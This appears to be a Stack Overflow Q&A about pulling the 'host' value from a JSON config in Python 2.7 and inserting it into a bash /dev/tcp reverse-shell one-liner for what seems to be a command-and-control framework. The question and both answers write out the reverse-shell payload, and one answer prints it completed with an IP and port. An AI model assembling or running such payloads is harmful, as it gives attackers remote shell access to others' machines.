0

I am having issues with python 2.7. I have the following JSON file that I am trying to only pull the HOST variable from:

{
    "443": {
        "ssl": true,
        "host": "192.168.1.8",
        "cert": "v3ga.pem",
        "name": "Test",
        "open": false
    }
}

Further in my script, I have an item to which I would like to input ONLY the "host" IP as 192.168.1.8.

I have tried to use the following snippet which pulls all variables:

import json
from pprint import pprint
data = json.load(open('config/listener.json'))
pprint(data)

Which returns:

{
    "u'443'": {
        "u'cert'": "u'fruityc2.pem'",
        "u'host'": "u'192.168.1.8'",
        "u'name'": "u'Test'",
        "u'open'": false,
        "u'ssl'": true
    }
}

How would I insert this into ('0<&196;exec 196<>/dev/tcp/HOST/666; sh <&196 >&196 2>&196') so that it can print appropriately in the framework I am trying to create?

v3ga
  • 23
  • 1
  • 6
  • What is `('0<&196;exec 196<>/dev/tcp/HOST/666; sh <&196 >&196 2>&196')` ? its not a language I'm familiar with. – tdelaney Apr 27 '18 at 21:48
  • It is just straight bash. What I would like to do is to insert the IP address in the JSON file into that HOST variable in the bash one liner – v3ga Apr 27 '18 at 21:55
  • After the call to `json.load` the result (stored on `data`) will contain an object that has all the properties defined in your JSON file. So if you're only interested in the host value, then call it like so `data.host`. I'm guessing replacing `pprint(data)` with `pprint(data.host)` should suffice? – ferc Apr 27 '18 at 22:01
  • Receives File "jsonload.py", line 6, in pprint(data.host) AttributeError: 'dict' object has no attribute 'host' – v3ga Apr 27 '18 at 22:08
  • My bad... try `data["443"]["host"]` – ferc Apr 27 '18 at 22:15
  • Works, had to use print data ["443"]["host"] instead of pprint. Thanks a bunch! – v3ga Apr 27 '18 at 22:21
  • Now that I have the corrected IP address, how can I insert it as a variable in the string posted above? – v3ga Apr 27 '18 at 22:28
  • Python I know a bit, but I definitely can't help you with bash. Perhaps adding a `bash` tag to your question will attract the right people? – ferc Apr 27 '18 at 22:32
  • Will do, thanks m8! – v3ga Apr 27 '18 at 22:33

2 Answers2

0

This question is very similar to this post: Parsing values from a JSON file?

So, you probably just have to access it by:

data["443"]["host"]

If this "('0<&196;exec 196<>/dev/tcp/HOST/666; sh <&196 >&196 2>&196')" is a string..., then:

"('0<&196;exec 196<>/dev/tcp/" + data["443"]["host"] + "/666; sh <&196 >&196 2>&196')"

I hope that helps.

Vinggui
  • 134
  • 8
0

So assuming that I got your question (You have written the question in a very vague form)... you are trying to get the value '192.168.1.8' associated to the key 'host' stored in the dictionary in the given hash string. Try the following code ->

import json
from pprint import pprint   
data = json.load(open('config/listener.json'))
host = data['443']['host']
hash_string = ('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host))
print hash_string

The output will be ->

0<&196;exec 196<>/dev/tcp/192.168.1.8/666; sh <&196 >&196 2>&196

Here, in hash_string variable, the hash value is stored as a "string" and not a tupple. I am assuming that you intended it that way, if not... then just add a comma in the end like this ->

hash_string=('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host),)

I hope this helped! and I hope I answered your question correctly, if not please try explaining the question with more detail and I will edit my answer :)

outcast_dreamer
  • 143
  • 2
  • 7